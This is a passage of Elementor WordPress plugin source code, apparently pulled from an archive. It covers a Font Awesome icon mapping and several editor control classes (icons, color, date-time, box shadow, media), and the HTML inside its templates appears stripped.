=> 'dedent', 'fa fa-delicious' => 'delicious', 'fa fa-desktop' => 'desktop', 'fa fa-deviantart' => 'deviantart', 'fa fa-diamond' => 'diamond', 'fa fa-digg' => 'digg', 'fa fa-dollar' => 'dollar', 'fa fa-dot-circle-o' => 'dot-circle-o', 'fa fa-download' => 'download', 'fa fa-dribbble' => 'dribbble', 'fa fa-drivers-license' => 'drivers-license', 'fa fa-drivers-license-o' => 'drivers-license-o', 'fa fa-dropbox' => 'dropbox', 'fa fa-drupal' => 'drupal', 'fa fa-edge' => 'edge', 'fa fa-edit' => 'edit', 'fa fa-eercast' => 'eercast', 'fa fa-eject' => 'eject', 'fa fa-ellipsis-h' => 'ellipsis-h', 'fa fa-ellipsis-v' => 'ellipsis-v', 'fa fa-empire' => 'empire', 'fa fa-envelope' => 'envelope', 'fa fa-envelope-o' => 'envelope-o', 'fa fa-envelope-open' => 'envelope-open', 'fa fa-envelope-open-o' => 'envelope-open-o', 'fa fa-envelope-square' => 'envelope-square', 'fa fa-envira' => 'envira', 'fa fa-eraser' => 'eraser', 'fa fa-etsy' => 'etsy', 'fa fa-eur' => 'eur', 'fa fa-euro' => 'euro', 'fa fa-exchange' => 'exchange', 'fa fa-exclamation' => 'exclamation', 'fa fa-exclamation-circle' => 'exclamation-circle', 'fa fa-exclamation-triangle' => 'exclamation-triangle', 'fa fa-expand' => 'expand', 'fa fa-expeditedssl' => 'expeditedssl', 'fa fa-external-link' => 'external-link', 'fa fa-external-link-square' => 'external-link-square', 'fa fa-eye' => 'eye', 'fa fa-eye-slash' => 'eye-slash', 'fa fa-eyedropper' => 'eyedropper', 'fa fa-fa' => 'fa', 'fa fa-facebook' => 'facebook', 'fa fa-facebook-f' => 'facebook-f', 'fa fa-facebook-official' => 'facebook-official', 'fa fa-facebook-square' => 'facebook-square', 'fa fa-fast-backward' => 'fast-backward', 'fa fa-fast-forward' => 'fast-forward', 'fa fa-fax' => 'fax', 'fa fa-feed' => 'feed', 'fa fa-female' => 'female', 'fa fa-fighter-jet' => 'fighter-jet', 'fa fa-file' => 'file', 'fa fa-file-archive-o' => 'file-archive-o', 'fa fa-file-audio-o' => 'file-audio-o', 'fa fa-file-code-o' => 'file-code-o', 'fa fa-file-excel-o' => 'file-excel-o', 'fa fa-file-image-o' => 'file-image-o', 'fa fa-file-movie-o' => 'file-movie-o', 'fa fa-file-o' => 'file-o', 'fa fa-file-pdf-o' => 'file-pdf-o', 'fa fa-file-photo-o' => 'file-photo-o', 'fa fa-file-picture-o' => 'file-picture-o', 'fa fa-file-powerpoint-o' => 'file-powerpoint-o', 'fa fa-file-sound-o' => 'file-sound-o', 'fa fa-file-text' => 'file-text', 'fa fa-file-text-o' => 'file-text-o', 'fa fa-file-video-o' => 'file-video-o', 'fa fa-file-word-o' => 'file-word-o', 'fa fa-file-zip-o' => 'file-zip-o', 'fa fa-files-o' => 'files-o', 'fa fa-film' => 'film', 'fa fa-filter' => 'filter', 'fa fa-fire' => 'fire', 'fa fa-fire-extinguisher' => 'fire-extinguisher', 'fa fa-firefox' => 'firefox', 'fa fa-first-order' => 'first-order', 'fa fa-flag' => 'flag', 'fa fa-flag-checkered' => 'flag-checkered', 'fa fa-flag-o' => 'flag-o', 'fa fa-flash' => 'flash', 'fa fa-flask' => 'flask', 'fa fa-flickr' => 'flickr', 'fa fa-floppy-o' => 'floppy-o', 'fa fa-folder' => 'folder', 'fa fa-folder-o' => 'folder-o', 'fa fa-folder-open' => 'folder-open', 'fa fa-folder-open-o' => 'folder-open-o', 'fa fa-font' => 'font', 'fa fa-font-awesome' => 'font-awesome', 'fa fa-fonticons' => 'fonticons', 'fa fa-fort-awesome' => 'fort-awesome', 'fa fa-forumbee' => 'forumbee', 'fa fa-forward' => 'forward', 'fa fa-foursquare' => 'foursquare', 'fa fa-free-code-camp' => 'free-code-camp', 'fa fa-frown-o' => 'frown-o', 'fa fa-futbol-o' => 'futbol-o', 'fa fa-gamepad' => 'gamepad', 'fa fa-gavel' => 'gavel', 'fa fa-gbp' => 'gbp', 'fa fa-ge' => 'ge', 'fa fa-gear' => 'gear', 'fa fa-gears' => 'gears', 'fa fa-genderless' => 'genderless', 'fa fa-get-pocket' => 'get-pocket', 'fa fa-gg' => 'gg', 'fa fa-gg-circle' => 'gg-circle', 'fa fa-gift' => 'gift', 'fa fa-git' => 'git', 'fa fa-git-square' => 'git-square', 'fa fa-github' => 'github', 'fa fa-github-alt' => 'github-alt', 'fa fa-github-square' => 'github-square', 'fa fa-gitlab' => 'gitlab', 'fa fa-gittip' => 'gittip', 'fa fa-glass' => 'glass', 'fa fa-glide' => 'glide', 'fa fa-glide-g' => 'glide-g', 'fa fa-globe' => 'globe', 'fa fa-google' => 'google', 'fa fa-google-plus' => 'google-plus', 'fa fa-google-plus-circle' => 'google-plus-circle', 'fa fa-google-plus-official' => 'google-plus-official', 'fa fa-google-plus-square' => 'google-plus-square', 'fa fa-google-wallet' => 'google-wallet', 'fa fa-graduation-cap' => 'graduation-cap', 'fa fa-gratipay' => 'gratipay', 'fa fa-grav' => 'grav', 'fa fa-group' => 'group', 'fa fa-h-square' => 'h-square', 'fa fa-hacker-news' => 'hacker-news', 'fa fa-hand-grab-o' => 'hand-grab-o', 'fa fa-hand-lizard-o' => 'hand-lizard-o', 'fa fa-hand-o-down' => 'hand-o-down', 'fa fa-hand-o-left' => 'hand-o-left', 'fa fa-hand-o-right' => 'hand-o-right', 'fa fa-hand-o-up' => 'hand-o-up', 'fa fa-hand-paper-o' => 'hand-paper-o', 'fa fa-hand-peace-o' => 'hand-peace-o', 'fa fa-hand-pointer-o' => 'hand-pointer-o', 'fa fa-hand-rock-o' => 'hand-rock-o', 'fa fa-hand-scissors-o' => 'hand-scissors-o', 'fa fa-hand-spock-o' => 'hand-spock-o', 'fa fa-hand-stop-o' => 'hand-stop-o', 'fa fa-handshake-o' => 'handshake-o', 'fa fa-hard-of-hearing' => 'hard-of-hearing', 'fa fa-hashtag' => 'hashtag', 'fa fa-hdd-o' => 'hdd-o', 'fa fa-header' => 'header', 'fa fa-headphones' => 'headphones', 'fa fa-heart' => 'heart', 'fa fa-heart-o' => 'heart-o', 'fa fa-heartbeat' => 'heartbeat', 'fa fa-history' => 'history', 'fa fa-home' => 'home', 'fa fa-hospital-o' => 'hospital-o', 'fa fa-hotel' => 'hotel', 'fa fa-hourglass' => 'hourglass', 'fa fa-hourglass-1' => 'hourglass-1', 'fa fa-hourglass-2' => 'hourglass-2', 'fa fa-hourglass-3' => 'hourglass-3', 'fa fa-hourglass-end' => 'hourglass-end', 'fa fa-hourglass-half' => 'hourglass-half', 'fa fa-hourglass-o' => 'hourglass-o', 'fa fa-hourglass-start' => 'hourglass-start', 'fa fa-houzz' => 'houzz', 'fa fa-html5' => 'html5', 'fa fa-i-cursor' => 'i-cursor', 'fa fa-id-badge' => 'id-badge', 'fa fa-id-card' => 'id-card', 'fa fa-id-card-o' => 'id-card-o', 'fa fa-ils' => 'ils', 'fa fa-image' => 'image', 'fa fa-imdb' => 'imdb', 'fa fa-inbox' => 'inbox', 'fa fa-indent' => 'indent', 'fa fa-industry' => 'industry', 'fa fa-info' => 'info', 'fa fa-info-circle' => 'info-circle', 'fa fa-inr' => 'inr', 'fa fa-instagram' => 'instagram', 'fa fa-institution' => 'institution', 'fa fa-internet-explorer' => 'internet-explorer', 'fa fa-intersex' => 'intersex', 'fa fa-ioxhost' => 'ioxhost', 'fa fa-italic' => 'italic', 'fa fa-joomla' => 'joomla', 'fa fa-jpy' => 'jpy', 'fa fa-jsfiddle' => 'jsfiddle', 'fa fa-key' => 'key', 'fa fa-keyboard-o' => 'keyboard-o', 'fa fa-krw' => 'krw', 'fa fa-language' => 'language', 'fa fa-laptop' => 'laptop', 'fa fa-lastfm' => 'lastfm', 'fa fa-lastfm-square' => 'lastfm-square', 'fa fa-leaf' => 'leaf', 'fa fa-leanpub' => 'leanpub', 'fa fa-legal' => 'legal', 'fa fa-lemon-o' => 'lemon-o', 'fa fa-level-down' => 'level-down', 'fa fa-level-up' => 'level-up', 'fa fa-life-bouy' => 'life-bouy', 'fa fa-life-buoy' => 'life-buoy', 'fa fa-life-ring' => 'life-ring', 'fa fa-life-saver' => 'life-saver', 'fa fa-lightbulb-o' => 'lightbulb-o', 'fa fa-line-chart' => 'line-chart', 'fa fa-link' => 'link', 'fa fa-linkedin' => 'linkedin', 'fa fa-linkedin-square' => 'linkedin-square', 'fa fa-linode' => 'linode', 'fa fa-linux' => 'linux', 'fa fa-list' => 'list', 'fa fa-list-alt' => 'list-alt', 'fa fa-list-ol' => 'list-ol', 'fa fa-list-ul' => 'list-ul', 'fa fa-location-arrow' => 'location-arrow', 'fa fa-lock' => 'lock', 'fa fa-long-arrow-down' => 'long-arrow-down', 'fa fa-long-arrow-left' => 'long-arrow-left', 'fa fa-long-arrow-right' => 'long-arrow-right', 'fa fa-long-arrow-up' => 'long-arrow-up', 'fa fa-low-vision' => 'low-vision', 'fa fa-magic' => 'magic', 'fa fa-magnet' => 'magnet', 'fa fa-mail-forward' => 'mail-forward', 'fa fa-mail-reply' => 'mail-reply', 'fa fa-mail-reply-all' => 'mail-reply-all', 'fa fa-male' => 'male', 'fa fa-map' => 'map', 'fa fa-map-marker' => 'map-marker', 'fa fa-map-o' => 'map-o', 'fa fa-map-pin' => 'map-pin', 'fa fa-map-signs' => 'map-signs', 'fa fa-mars' => 'mars', 'fa fa-mars-double' => 'mars-double', 'fa fa-mars-stroke' => 'mars-stroke', 'fa fa-mars-stroke-h' => 'mars-stroke-h', 'fa fa-mars-stroke-v' => 'mars-stroke-v', 'fa fa-maxcdn' => 'maxcdn', 'fa fa-meanpath' => 'meanpath', 'fa fa-medium' => 'medium', 'fa fa-medkit' => 'medkit', 'fa fa-meetup' => 'meetup', 'fa fa-meh-o' => 'meh-o', 'fa fa-mercury' => 'mercury', 'fa fa-microchip' => 'microchip', 'fa fa-microphone' => 'microphone', 'fa fa-microphone-slash' => 'microphone-slash', 'fa fa-minus' => 'minus', 'fa fa-minus-circle' => 'minus-circle', 'fa fa-minus-square' => 'minus-square', 'fa fa-minus-square-o' => 'minus-square-o', 'fa fa-mixcloud' => 'mixcloud', 'fa fa-mobile' => 'mobile', 'fa fa-mobile-phone' => 'mobile-phone', 'fa fa-modx' => 'modx', 'fa fa-money' => 'money', 'fa fa-moon-o' => 'moon-o', 'fa fa-mortar-board' => 'mortar-board', 'fa fa-motorcycle' => 'motorcycle', 'fa fa-mouse-pointer' => 'mouse-pointer', 'fa fa-music' => 'music', 'fa fa-navicon' => 'navicon', 'fa fa-neuter' => 'neuter', 'fa fa-newspaper-o' => 'newspaper-o', 'fa fa-object-group' => 'object-group', 'fa fa-object-ungroup' => 'object-ungroup', 'fa fa-odnoklassniki' => 'odnoklassniki', 'fa fa-odnoklassniki-square' => 'odnoklassniki-square', 'fa fa-opencart' => 'opencart', 'fa fa-openid' => 'openid', 'fa fa-opera' => 'opera', 'fa fa-optin-monster' => 'optin-monster', 'fa fa-outdent' => 'outdent', 'fa fa-pagelines' => 'pagelines', 'fa fa-paint-brush' => 'paint-brush', 'fa fa-paper-plane' => 'paper-plane', 'fa fa-paper-plane-o' => 'paper-plane-o', 'fa fa-paperclip' => 'paperclip', 'fa fa-paragraph' => 'paragraph', 'fa fa-paste' => 'paste', 'fa fa-pause' => 'pause', 'fa fa-pause-circle' => 'pause-circle', 'fa fa-pause-circle-o' => 'pause-circle-o', 'fa fa-paw' => 'paw', 'fa fa-paypal' => 'paypal', 'fa fa-pencil' => 'pencil', 'fa fa-pencil-square' => 'pencil-square', 'fa fa-pencil-square-o' => 'pencil-square-o', 'fa fa-percent' => 'percent', 'fa fa-phone' => 'phone', 'fa fa-phone-square' => 'phone-square', 'fa fa-photo' => 'photo', 'fa fa-picture-o' => 'picture-o', 'fa fa-pie-chart' => 'pie-chart', 'fa fa-pied-piper' => 'pied-piper', 'fa fa-pied-piper-alt' => 'pied-piper-alt', 'fa fa-pied-piper-pp' => 'pied-piper-pp', 'fa fa-pinterest' => 'pinterest', 'fa fa-pinterest-p' => 'pinterest-p', 'fa fa-pinterest-square' => 'pinterest-square', 'fa fa-plane' => 'plane', 'fa fa-play' => 'play', 'fa fa-play-circle' => 'play-circle', 'fa fa-play-circle-o' => 'play-circle-o', 'fa fa-plug' => 'plug', 'fa fa-plus' => 'plus', 'fa fa-plus-circle' => 'plus-circle', 'fa fa-plus-square' => 'plus-square', 'fa fa-plus-square-o' => 'plus-square-o', 'fa fa-podcast' => 'podcast', 'fa fa-power-off' => 'power-off', 'fa fa-print' => 'print', 'fa fa-product-hunt' => 'product-hunt', 'fa fa-pull-left' => 'pull-left', 'fa fa-pull-right' => 'pull-right', 'fa fa-puzzle-piece' => 'puzzle-piece', 'fa fa-qq' => 'qq', 'fa fa-qrcode' => 'qrcode', 'fa fa-question' => 'question', 'fa fa-question-circle' => 'question-circle', 'fa fa-question-circle-o' => 'question-circle-o', 'fa fa-quora' => 'quora', 'fa fa-quote-left' => 'quote-left', 'fa fa-quote-right' => 'quote-right', 'fa fa-ra' => 'ra', 'fa fa-random' => 'random', 'fa fa-ravelry' => 'ravelry', 'fa fa-rebel' => 'rebel', 'fa fa-recycle' => 'recycle', 'fa fa-reddit' => 'reddit', 'fa fa-reddit-alien' => 'reddit-alien', 'fa fa-reddit-square' => 'reddit-square', 'fa fa-refresh' => 'refresh', 'fa fa-registered' => 'registered', 'fa fa-remove' => 'remove', 'fa fa-renren' => 'renren', 'fa fa-reorder' => 'reorder', 'fa fa-repeat' => 'repeat', 'fa fa-reply' => 'reply', 'fa fa-reply-all' => 'reply-all', 'fa fa-resistance' => 'resistance', 'fa fa-retweet' => 'retweet', 'fa fa-rmb' => 'rmb', 'fa fa-road' => 'road', 'fa fa-rocket' => 'rocket', 'fa fa-rotate-left' => 'rotate-left', 'fa fa-rotate-right' => 'rotate-right', 'fa fa-rouble' => 'rouble', 'fa fa-rss' => 'rss', 'fa fa-rss-square' => 'rss-square', 'fa fa-rub' => 'rub', 'fa fa-ruble' => 'ruble', 'fa fa-rupee' => 'rupee', 'fa fa-s15' => 's15', 'fa fa-safari' => 'safari', 'fa fa-save' => 'save', 'fa fa-scissors' => 'scissors', 'fa fa-scribd' => 'scribd', 'fa fa-search' => 'search', 'fa fa-search-minus' => 'search-minus', 'fa fa-search-plus' => 'search-plus', 'fa fa-sellsy' => 'sellsy', 'fa fa-send' => 'send', 'fa fa-send-o' => 'send-o', 'fa fa-server' => 'server', 'fa fa-share' => 'share', 'fa fa-share-alt' => 'share-alt', 'fa fa-share-alt-square' => 'share-alt-square', 'fa fa-share-square' => 'share-square', 'fa fa-share-square-o' => 'share-square-o', 'fa fa-shekel' => 'shekel', 'fa fa-sheqel' => 'sheqel', 'fa fa-shield' => 'shield', 'fa fa-ship' => 'ship', 'fa fa-shirtsinbulk' => 'shirtsinbulk', 'fa fa-shopping-bag' => 'shopping-bag', 'fa fa-shopping-basket' => 'shopping-basket', 'fa fa-shopping-cart' => 'shopping-cart', 'fa fa-shower' => 'shower', 'fa fa-sign-in' => 'sign-in', 'fa fa-sign-language' => 'sign-language', 'fa fa-sign-out' => 'sign-out', 'fa fa-signal' => 'signal', 'fa fa-signing' => 'signing', 'fa fa-simplybuilt' => 'simplybuilt', 'fa fa-sitemap' => 'sitemap', 'fa fa-skyatlas' => 'skyatlas', 'fa fa-skype' => 'skype', 'fa fa-slack' => 'slack', 'fa fa-sliders' => 'sliders', 'fa fa-slideshare' => 'slideshare', 'fa fa-smile-o' => 'smile-o', 'fa fa-snapchat' => 'snapchat', 'fa fa-snapchat-ghost' => 'snapchat-ghost', 'fa fa-snapchat-square' => 'snapchat-square', 'fa fa-snowflake-o' => 'snowflake-o', 'fa fa-soccer-ball-o' => 'soccer-ball-o', 'fa fa-sort' => 'sort', 'fa fa-sort-alpha-asc' => 'sort-alpha-asc', 'fa fa-sort-alpha-desc' => 'sort-alpha-desc', 'fa fa-sort-amount-asc' => 'sort-amount-asc', 'fa fa-sort-amount-desc' => 'sort-amount-desc', 'fa fa-sort-asc' => 'sort-asc', 'fa fa-sort-desc' => 'sort-desc', 'fa fa-sort-down' => 'sort-down', 'fa fa-sort-numeric-asc' => 'sort-numeric-asc', 'fa fa-sort-numeric-desc' => 'sort-numeric-desc', 'fa fa-sort-up' => 'sort-up', 'fa fa-soundcloud' => 'soundcloud', 'fa fa-space-shuttle' => 'space-shuttle', 'fa fa-spinner' => 'spinner', 'fa fa-spoon' => 'spoon', 'fa fa-spotify' => 'spotify', 'fa fa-square' => 'square', 'fa fa-square-o' => 'square-o', 'fa fa-stack-exchange' => 'stack-exchange', 'fa fa-stack-overflow' => 'stack-overflow', 'fa fa-star' => 'star', 'fa fa-star-half' => 'star-half', 'fa fa-star-half-empty' => 'star-half-empty', 'fa fa-star-half-full' => 'star-half-full', 'fa fa-star-half-o' => 'star-half-o', 'fa fa-star-o' => 'star-o', 'fa fa-steam' => 'steam', 'fa fa-steam-square' => 'steam-square', 'fa fa-step-backward' => 'step-backward', 'fa fa-step-forward' => 'step-forward', 'fa fa-stethoscope' => 'stethoscope', 'fa fa-sticky-note' => 'sticky-note', 'fa fa-sticky-note-o' => 'sticky-note-o', 'fa fa-stop' => 'stop', 'fa fa-stop-circle' => 'stop-circle', 'fa fa-stop-circle-o' => 'stop-circle-o', 'fa fa-street-view' => 'street-view', 'fa fa-strikethrough' => 'strikethrough', 'fa fa-stumbleupon' => 'stumbleupon', 'fa fa-stumbleupon-circle' => 'stumbleupon-circle', 'fa fa-subscript' => 'subscript', 'fa fa-subway' => 'subway', 'fa fa-suitcase' => 'suitcase', 'fa fa-sun-o' => 'sun-o', 'fa fa-superpowers' => 'superpowers', 'fa fa-superscript' => 'superscript', 'fa fa-support' => 'support', 'fa fa-table' => 'table', 'fa fa-tablet' => 'tablet', 'fa fa-tachometer' => 'tachometer', 'fa fa-tag' => 'tag', 'fa fa-tags' => 'tags', 'fa fa-tasks' => 'tasks', 'fa fa-taxi' => 'taxi', 'fa fa-telegram' => 'telegram', 'fa fa-television' => 'television', 'fa fa-tencent-weibo' => 'tencent-weibo', 'fa fa-terminal' => 'terminal', 'fa fa-text-height' => 'text-height', 'fa fa-text-width' => 'text-width', 'fa fa-th' => 'th', 'fa fa-th-large' => 'th-large', 'fa fa-th-list' => 'th-list', 'fa fa-themeisle' => 'themeisle', 'fa fa-thermometer' => 'thermometer', 'fa fa-thermometer-0' => 'thermometer-0', 'fa fa-thermometer-1' => 'thermometer-1', 'fa fa-thermometer-2' => 'thermometer-2', 'fa fa-thermometer-3' => 'thermometer-3', 'fa fa-thermometer-4' => 'thermometer-4', 'fa fa-thermometer-empty' => 'thermometer-empty', 'fa fa-thermometer-full' => 'thermometer-full', 'fa fa-thermometer-half' => 'thermometer-half', 'fa fa-thermometer-quarter' => 'thermometer-quarter', 'fa fa-thermometer-three-quarters' => 'thermometer-three-quarters', 'fa fa-thumb-tack' => 'thumb-tack', 'fa fa-thumbs-down' => 'thumbs-down', 'fa fa-thumbs-o-down' => 'thumbs-o-down', 'fa fa-thumbs-o-up' => 'thumbs-o-up', 'fa fa-thumbs-up' => 'thumbs-up', 'fa fa-ticket' => 'ticket', 'fa fa-times' => 'times', 'fa fa-times-circle' => 'times-circle', 'fa fa-times-circle-o' => 'times-circle-o', 'fa fa-times-rectangle' => 'times-rectangle', 'fa fa-times-rectangle-o' => 'times-rectangle-o', 'fa fa-tint' => 'tint', 'fa fa-toggle-down' => 'toggle-down', 'fa fa-toggle-left' => 'toggle-left', 'fa fa-toggle-off' => 'toggle-off', 'fa fa-toggle-on' => 'toggle-on', 'fa fa-toggle-right' => 'toggle-right', 'fa fa-toggle-up' => 'toggle-up', 'fa fa-trademark' => 'trademark', 'fa fa-train' => 'train', 'fa fa-transgender' => 'transgender', 'fa fa-transgender-alt' => 'transgender-alt', 'fa fa-trash' => 'trash', 'fa fa-trash-o' => 'trash-o', 'fa fa-tree' => 'tree', 'fa fa-trello' => 'trello', 'fa fa-tripadvisor' => 'tripadvisor', 'fa fa-trophy' => 'trophy', 'fa fa-truck' => 'truck', 'fa fa-try' => 'try', 'fa fa-tty' => 'tty', 'fa fa-tumblr' => 'tumblr', 'fa fa-tumblr-square' => 'tumblr-square', 'fa fa-turkish-lira' => 'turkish-lira', 'fa fa-tv' => 'tv', 'fa fa-twitch' => 'twitch', 'fa fa-twitter' => 'twitter', 'fa fa-twitter-square' => 'twitter-square', 'fa fa-umbrella' => 'umbrella', 'fa fa-underline' => 'underline', 'fa fa-undo' => 'undo', 'fa fa-universal-access' => 'universal-access', 'fa fa-university' => 'university', 'fa fa-unlink' => 'unlink', 'fa fa-unlock' => 'unlock', 'fa fa-unlock-alt' => 'unlock-alt', 'fa fa-unsorted' => 'unsorted', 'fa fa-upload' => 'upload', 'fa fa-usb' => 'usb', 'fa fa-usd' => 'usd', 'fa fa-user' => 'user', 'fa fa-user-circle' => 'user-circle', 'fa fa-user-circle-o' => 'user-circle-o', 'fa fa-user-md' => 'user-md', 'fa fa-user-o' => 'user-o', 'fa fa-user-plus' => 'user-plus', 'fa fa-user-secret' => 'user-secret', 'fa fa-user-times' => 'user-times', 'fa fa-users' => 'users', 'fa fa-vcard' => 'vcard', 'fa fa-vcard-o' => 'vcard-o', 'fa fa-venus' => 'venus', 'fa fa-venus-double' => 'venus-double', 'fa fa-venus-mars' => 'venus-mars', 'fa fa-viacoin' => 'viacoin', 'fa fa-viadeo' => 'viadeo', 'fa fa-viadeo-square' => 'viadeo-square', 'fa fa-video-camera' => 'video-camera', 'fa fa-vimeo' => 'vimeo', 'fa fa-vimeo-square' => 'vimeo-square', 'fa fa-vine' => 'vine', 'fa fa-vk' => 'vk', 'fa fa-volume-control-phone' => 'volume-control-phone', 'fa fa-volume-down' => 'volume-down', 'fa fa-volume-off' => 'volume-off', 'fa fa-volume-up' => 'volume-up', 'fa fa-warning' => 'warning', 'fa fa-wechat' => 'wechat', 'fa fa-weibo' => 'weibo', 'fa fa-weixin' => 'weixin', 'fa fa-whatsapp' => 'whatsapp', 'fa fa-wheelchair' => 'wheelchair', 'fa fa-wheelchair-alt' => 'wheelchair-alt', 'fa fa-wifi' => 'wifi', 'fa fa-wikipedia-w' => 'wikipedia-w', 'fa fa-window-close' => 'window-close', 'fa fa-window-close-o' => 'window-close-o', 'fa fa-window-maximize' => 'window-maximize', 'fa fa-window-minimize' => 'window-minimize', 'fa fa-window-restore' => 'window-restore', 'fa fa-windows' => 'windows', 'fa fa-won' => 'won', 'fa fa-wordpress' => 'wordpress', 'fa fa-wpbeginner' => 'wpbeginner', 'fa fa-wpexplorer' => 'wpexplorer', 'fa fa-wpforms' => 'wpforms', 'fa fa-wrench' => 'wrench', 'fa fa-xing' => 'xing', 'fa fa-xing-square' => 'xing-square', 'fa fa-y-combinator' => 'y-combinator', 'fa fa-y-combinator-square' => 'y-combinator-square', 'fa fa-yahoo' => 'yahoo', 'fa fa-yc' => 'yc', 'fa fa-yc-square' => 'yc-square', 'fa fa-yelp' => 'yelp', 'fa fa-yen' => 'yen', 'fa fa-yoast' => 'yoast', 'fa fa-youtube' => 'youtube', 'fa fa-youtube-play' => 'youtube-play', 'fa fa-youtube-square' => 'youtube-square', ]; } /** * Get icons control default settings. * * Retrieve the default settings of the icons control. Used to return the default * settings while initializing the icons control. * * @since 1.0.0 * @deprecated 2.6.0 Use `Control_Icons` class instead. * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return [ 'options' => self::get_icons(), 'include' => '', 'exclude' => '', ]; } /** * Render icons control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @deprecated 2.6.0 Use `Control_Icons` class instead. * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{ data.description }}
<# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> true, 'scheme' => '', 'dynamic' => [ 'categories' => [ TagsModule::COLOR_CATEGORY, ], 'active' => true, ], 'global' => [ 'active' => true, ], ]; } } includes/controls/base-icon-font.php000064400000001164147206604650013546 0ustar00 true, 'picker_options' => [], 'dynamic' => [ 'categories' => [ TagsModule::DATETIME_CATEGORY, ], ], ]; } /** * Render date time control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #>
<# var morePresets = getMorePresets(); if ( morePresets.length ) { #>
<# _.each( morePresets, function( preset ) { #>
{{{ preset.preset.join( ', ' ) }}}
<# } ); #>
<# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> true, 'show_label' => false, ]; } } includes/controls/box-shadow.php000064400000006622147206604650013021 0ustar00 0, 'vertical' => 0, 'blur' => 10, 'spread' => 0, 'color' => 'rgba(0,0,0,0.5)', ]; } /** * Get box shadow control sliders. * * Retrieve the sliders of the box shadow control. Sliders are used while * rendering the control output in the editor. * * @since 1.0.0 * @access public * * @return array Control sliders. */ public function get_sliders() { return [ 'horizontal' => [ 'label' => esc_html__( 'Horizontal', 'elementor' ), 'min' => -100, 'max' => 100, ], 'vertical' => [ 'label' => esc_html__( 'Vertical', 'elementor' ), 'min' => -100, 'max' => 100, ], 'blur' => [ 'label' => esc_html__( 'Blur', 'elementor' ), 'min' => 0, 'max' => 100, ], 'spread' => [ 'label' => esc_html__( 'Spread', 'elementor' ), 'min' => -100, 'max' => 100, ], ]; } /** * Render box shadow control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
get_sliders() as $slider_name => $slider ) : ?>
'', 'id' => '', 'size' => '', ]; } /** * Import media images. * * Used to import media control files from external sites while importing * Elementor template JSON file, and replacing the old data. * * @since 1.0.0 * @access public * * @param array $settings Control settings * * @return array Control settings. */ public function on_import( $settings ) { if ( empty( $settings['url'] ) ) { return $settings; } $settings = Plugin::$instance->templates_manager->get_import_images_instance()->import( $settings ); if ( ! $settings ) { $settings = [ 'id' => '', 'url' => Utils::get_placeholder_image_src(), ]; } return $settings; } /** * Support SVG and JSON Import * * Called by the 'upload_mimes' filter. Adds SVG and JSON mime types to the list of WordPress' allowed mime types. * * @since 3.4.6 * @deprecated 3.5.0 * * @param $mimes * @return mixed */ public function support_svg_and_json_import( $mimes ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' ); return $mimes; } /** * Enqueue media control scripts and styles. * * Used to register and enqueue custom scripts and styles used by the media * control. * * @since 1.0.0 * @access public */ public function enqueue() { global $wp_version; $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_media(); wp_enqueue_style( 'media', admin_url( '/css/media' . $suffix . '.css' ), [], $wp_version ); wp_register_script( 'image-edit', '/wp-admin/js/image-edit' . $suffix . '.js', [ 'jquery', 'json2', 'imgareaselect', ], $wp_version, true ); wp_enqueue_script( 'image-edit' ); } /** * Render media control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?> <# // For BC. if ( data.media_type ) { data.media_types = [ data.media_type ]; } if ( data.should_include_svg_inline_option ) { data.media_types.push( 'svg' ); } // Determine if the current media type is viewable. const isViewable = () => { const viewable = [ 'image', 'video', 'svg', ]; // Make sure that all media types are viewable. return data.media_types.every( ( type ) => viewable.includes( type ) ); }; // Get the preview type for the current media type. const getPreviewType = () => { if ( data.media_types.includes( 'video' ) ) { return 'video'; } if ( data.media_types.includes( 'image' ) || data.media_types.includes( 'svg' ) ) { return 'image'; } return 'none'; } // Retrieve a button label by media type. const getButtonLabel = ( mediaType ) => { switch( mediaType ) { case 'image': return ''; case 'video': return ''; case 'svg': return ''; default: return ''; } } #>
<# if ( isViewable() ) { let inputWrapperClasses = 'elementor-control-input-wrapper'; if ( ! data.label_block ) { inputWrapperClasses += ' elementor-control-unit-5'; } #>
<# switch( getPreviewType() ) { case 'image': #>
<# break; case 'video': #> <# break; } #>
<# data.media_types.forEach( ( type ) => { #>
{{{ getButtonLabel( type ) }}}
<# } ); #>
<# } /* endif isViewable() */ else { #>
<# } #> <# if ( data.description ) { #>
{{{ data.description }}}
<# } #> <# if ( data.has_sizes ) { #>
<# } #>
$size_attributes ) { $control_title = ucwords( str_replace( '_', ' ', $size_key ) ); if ( is_array( $size_attributes ) ) { $control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] ); } $image_sizes[ $size_key ] = $control_title; } $image_sizes[''] = esc_html_x( 'Full', 'Image Size Control', 'elementor' ); return $image_sizes; } /** * Get media control default settings. * * Retrieve the default settings of the media control. Used to return the default * settings while initializing the media control. * * @since 1.0.0 * @access protected * * @return array Control default settings. */ protected function get_default_settings() { return [ 'label_block' => true, 'has_sizes' => false, 'ai' => [ 'active' => true, 'type' => 'media', 'category' => 'photographic', ], 'media_types' => [ 'image', ], 'dynamic' => [ 'categories' => [ TagsModule::IMAGE_CATEGORY ], 'returnType' => 'object', ], ]; } /** * Get media control image title. * * Retrieve the `title` of the image selected by the media control. * * @since 1.0.0 * @access public * @static * * @param array $attachment Media attachment. * * @return string Image title. */ public static function get_image_title( $attachment ) { if ( empty( $attachment['id'] ) ) { return ''; } return get_the_title( $attachment['id'] ); } /** * Get media control image alt. * * Retrieve the `alt` value of the image selected by the media control. * * @since 1.0.0 * @access public * @static * * @param array $instance Media attachment. * * @return string Image alt. */ public static function get_image_alt( $instance ) { if ( empty( $instance['id'] ) ) { // For `Insert From URL` images. return isset( 